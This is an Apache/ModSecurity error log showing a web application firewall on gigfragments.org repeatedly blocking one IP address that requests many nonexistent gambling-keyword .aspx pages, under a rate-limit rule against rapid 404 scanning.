[Sun Feb 22 01:59:17.661281 2026] [:error] [pid 4789:tid 4801] [client 51.83.237.175:57452] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZnyda9_231lp37V1xxXJwAAAQo"]
[Sun Feb 22 01:59:18.401924 2026] [:error] [pid 3516:tid 3543] [client 51.83.237.175:57466] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZnydktaWLejEJFWY3FCVwAAANg"]
[Sun Feb 22 01:59:19.369130 2026] [:error] [pid 3179:tid 3427] [client 51.83.237.175:57470] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZnyd9gAWCcL8bTGJUUw-QAAAA8"]
[Sun Feb 22 01:59:20.610740 2026] [:error] [pid 4789:tid 4799] [client 51.83.237.175:57480] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZnyeK9_231lp37V1xxXLwAAAQg"]
[Sun Feb 22 01:59:20.913985 2026] [:error] [pid 4789:tid 4814] [client 51.83.237.175:57484] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aZnyeK9_231lp37V1xxXMAAAARc"]
[Sun Feb 22 01:59:21.346680 2026] [:error] [pid 3516:tid 3532] [client 51.83.237.175:57498] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZnyeUtaWLejEJFWY3FCXwAAAM0"]
[Sun Feb 22 01:59:22.871335 2026] [:error] [pid 3195:tid 3457] [client 51.83.237.175:57512] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aZnyeg28anZ1nWyZCI5H3wAAAFI"]
[Sun Feb 22 01:59:23.421684 2026] [:error] [pid 3195:tid 3456] [client 51.83.237.175:57514] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aZnyew28anZ1nWyZCI5H4gAAAFE"]
[Sun Feb 22 01:59:23.961824 2026] [:error] [pid 3195:tid 3460] [client 51.83.237.175:57520] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZnyew28anZ1nWyZCI5H5QAAAFU"]
[Sun Feb 22 01:59:24.785443 2026] [:error] [pid 3204:tid 3469] [client 51.83.237.175:57534] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aZnyfHAwnUMG8727rz4a_wAAAIM"]
[Sun Feb 22 01:59:25.641460 2026] [:error] [pid 3179:tid 3430] [client 51.83.237.175:57542] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aZnyfdgAWCcL8bTGJUUw_AAAABI"]
[Sun Feb 22 01:59:26.010311 2026] [:error] [pid 3179:tid 3429] [client 51.83.237.175:57552] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aZnyftgAWCcL8bTGJUUw_gAAABE"]
[Sun Feb 22 01:59:26.822981 2026] [:error] [pid 3195:tid 3451] [client 51.83.237.175:43044] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aZnyfg28anZ1nWyZCI5H8AAAAEw"]
[Sun Feb 22 01:59:27.703265 2026] [:error] [pid 3204:tid 3477] [client 51.83.237.175:43048] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aZnyf3AwnUMG8727rz4bAwAAAIs"]
[Sun Feb 22 01:59:28.316747 2026] [:error] [pid 4789:tid 4794] [client 51.83.237.175:43064] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aZnygK9_231lp37V1xxXPgAAAQM"]
[Sun Feb 22 01:59:29.114648 2026] [:error] [pid 3204:tid 3482] [client 51.83.237.175:43078] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aZnygXAwnUMG8727rz4bDgAAAJA"]
[Sun Feb 22 01:59:29.632705 2026] [:error] [pid 4789:tid 4797] [client 51.83.237.175:43092] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZnyga9_231lp37V1xxXQgAAAQY"]
[Sun Feb 22 01:59:30.677185 2026] [:error] [pid 4789:tid 4798] [client 51.83.237.175:43098] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZnygq9_231lp37V1xxXRQAAAQc"]
[Sun Feb 22 01:59:31.444736 2026] [:error] [pid 4789:tid 4792] [client 51.83.237.175:43112] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aZnyg69_231lp37V1xxXSgAAAQE"]
[Sun Feb 22 01:59:31.737520 2026] [:error] [pid 4789:tid 4800] [client 51.83.237.175:43114] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aZnyg69_231lp37V1xxXTAAAAQk"]
[Sun Feb 22 01:59:32.657611 2026] [:error] [pid 4789:tid 4806] [client 51.83.237.175:43130] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aZnyhK9_231lp37V1xxXVQAAAQ8"]
[Sun Feb 22 01:59:33.632885 2026] [:error] [pid 4789:tid 4807] [client 51.83.237.175:43144] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aZnyha9_231lp37V1xxXVgAAARA"]
[Sun Feb 22 01:59:33.685539 2026] [:error] [pid 3179:tid 3433] [client 51.83.237.175:43160] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aZnyhdgAWCcL8bTGJUUxBgAAABU"]
[Sun Feb 22 01:59:36.531967 2026] [:error] [pid 3195:tid 3456] [client 51.83.237.175:43164] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aZnyiA28anZ1nWyZCI5IFwAAAFE"]
[Sun Feb 22 01:59:39.312582 2026] [:error] [pid 3516:tid 3542] [client 51.83.237.175:54824] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aZnyi0taWLejEJFWY3FChgAAANc"]
[Sun Feb 22 01:59:41.540131 2026] [:error] [pid 3195:tid 3443] [client 51.83.237.175:54830] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aZnyjQ28anZ1nWyZCI5IKQAAAEQ"]
[Sun Feb 22 01:59:43.876954 2026] [:error] [pid 3195:tid 3461] [client 51.83.237.175:54842] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "aZnyjw28anZ1nWyZCI5INQAAAFY"]
[Sun Feb 22 01:59:43.951428 2026] [:error] [pid 3204:tid 3469] [client 51.83.237.175:54858] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZnyj3AwnUMG8727rz4bKgAAAIM"]
[Sun Feb 22 01:59:46.036387 2026] [:error] [pid 3204:tid 3466] [client 51.83.237.175:54872] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aZnyknAwnUMG8727rz4bLgAAAIA"]
[Sun Feb 22 01:59:47.492000 2026] [:error] [pid 4789:tid 4798] [client 51.83.237.175:43172] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aZnyk69_231lp37V1xxXbwAAAQc"]
[Sun Feb 22 01:59:47.951911 2026] [:error] [pid 3179:tid 3421] [client 51.83.237.175:52242] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZnyk9gAWCcL8bTGJUUxFgAAAAk"]
[Sun Feb 22 01:59:48.628672 2026] [:error] [pid 3195:tid 3448] [client 51.83.237.175:52244] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "aZnylA28anZ1nWyZCI5IRQAAAEk"]
[Sun Feb 22 01:59:50.108580 2026] [:error] [pid 3516:tid 3536] [client 51.83.237.175:52254] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aZnylktaWLejEJFWY3FCoAAAANE"]
[Sun Feb 22 01:59:50.206608 2026] [:error] [pid 3195:tid 3459] [client 51.83.237.175:52264] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aZnylg28anZ1nWyZCI5ISAAAAFQ"]
[Sun Feb 22 01:59:52.202566 2026] [:error] [pid 3204:tid 3481] [client 51.83.237.175:52276] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aZnymHAwnUMG8727rz4bMgAAAI8"]
[Sun Feb 22 01:59:52.605542 2026] [:error] [pid 3195:tid 3449] [client 51.83.237.175:52286] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZnymA28anZ1nWyZCI5ITwAAAEo"]
[Sun Feb 22 01:59:54.170851 2026] [:error] [pid 4789:tid 4802] [client 51.83.237.175:52288] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aZnymq9_231lp37V1xxXeAAAAQs"]
[Sun Feb 22 01:59:54.807449 2026] [:error] [pid 3204:tid 3471] [client 51.83.237.175:52296] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aZnymnAwnUMG8727rz4bNwAAAIU"]
[Sun Feb 22 01:59:56.921158 2026] [:error] [pid 3204:tid 3470] [client 51.83.237.175:56218] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aZnynHAwnUMG8727rz4bOwAAAIQ"]
[Sun Feb 22 01:59:56.950514 2026] [:error] [pid 3195:tid 3443] [client 51.83.237.175:56232] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aZnynA28anZ1nWyZCI5IVAAAAEQ"]
[Sun Feb 22 01:59:58.766618 2026] [:error] [pid 3204:tid 3486] [client 51.83.237.175:56242] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aZnynnAwnUMG8727rz4bPAAAAJQ"]
[Sun Feb 22 01:59:59.106103 2026] [:error] [pid 3516:tid 3539] [client 51.83.237.175:56252] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aZnyn0taWLejEJFWY3FCrQAAANQ"]
[Sun Feb 22 02:00:01.172807 2026] [:error] [pid 4789:tid 4792] [client 51.83.237.175:56262] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aZnyoa9_231lp37V1xxXfgAAAQE"]
[Sun Feb 22 02:00:01.427202 2026] [:error] [pid 3195:tid 3461] [client 51.83.237.175:56278] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aZnyoQ28anZ1nWyZCI5IWQAAAFY"]
[Sun Feb 22 02:00:03.423000 2026] [:error] [pid 3516:tid 3531] [client 51.83.237.175:56292] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aZnyo0taWLejEJFWY3FCrwAAAMw"]
[Sun Feb 22 02:00:03.691995 2026] [:error] [pid 3516:tid 3520] [client 51.83.237.175:56298] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aZnyo0taWLejEJFWY3FCsgAAAME"]
[Sun Feb 22 02:00:05.632157 2026] [:error] [pid 3195:tid 3453] [client 51.83.237.175:56310] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aZnypQ28anZ1nWyZCI5IXwAAAE4"]
[Sun Feb 22 02:00:05.825297 2026] [:error] [pid 3204:tid 3479] [client 51.83.237.175:56322] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZnypXAwnUMG8727rz4bSQAAAI0"]
[Sun Feb 22 02:00:28.546578 2026] [:error] [pid 3516:tid 3533] [client 51.83.237.175:42550] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aZnyvEtaWLejEJFWY3FC4gAAAM4"]
[Sun Feb 22 02:00:29.304765 2026] [:error] [pid 4789:tid 4814] [client 51.83.237.175:42544] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZnyva9_231lp37V1xxXqwAAARc"]
[Sun Feb 22 02:00:31.329727 2026] [:error] [pid 3516:tid 3528] [client 51.83.237.175:53392] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZnyv0taWLejEJFWY3FC5QAAAMk"]
[Sun Feb 22 02:00:31.921823 2026] [:error] [pid 3195:tid 3449] [client 51.83.237.175:53400] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZnyvw28anZ1nWyZCI5IhQAAAEo"]
[Sun Feb 22 02:00:33.205586 2026] [:error] [pid 3179:tid 3417] [client 51.83.237.175:53404] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aZnywdgAWCcL8bTGJUUxSwAAAAU"]
[Sun Feb 22 02:00:34.195906 2026] [:error] [pid 3516:tid 3521] [client 51.83.237.175:53412] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZnywktaWLejEJFWY3FC6QAAAMI"]
[Sun Feb 22 02:00:35.078873 2026] [:error] [pid 3179:tid 3423] [client 51.83.237.175:53416] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aZnyw9gAWCcL8bTGJUUxTQAAAAs"]
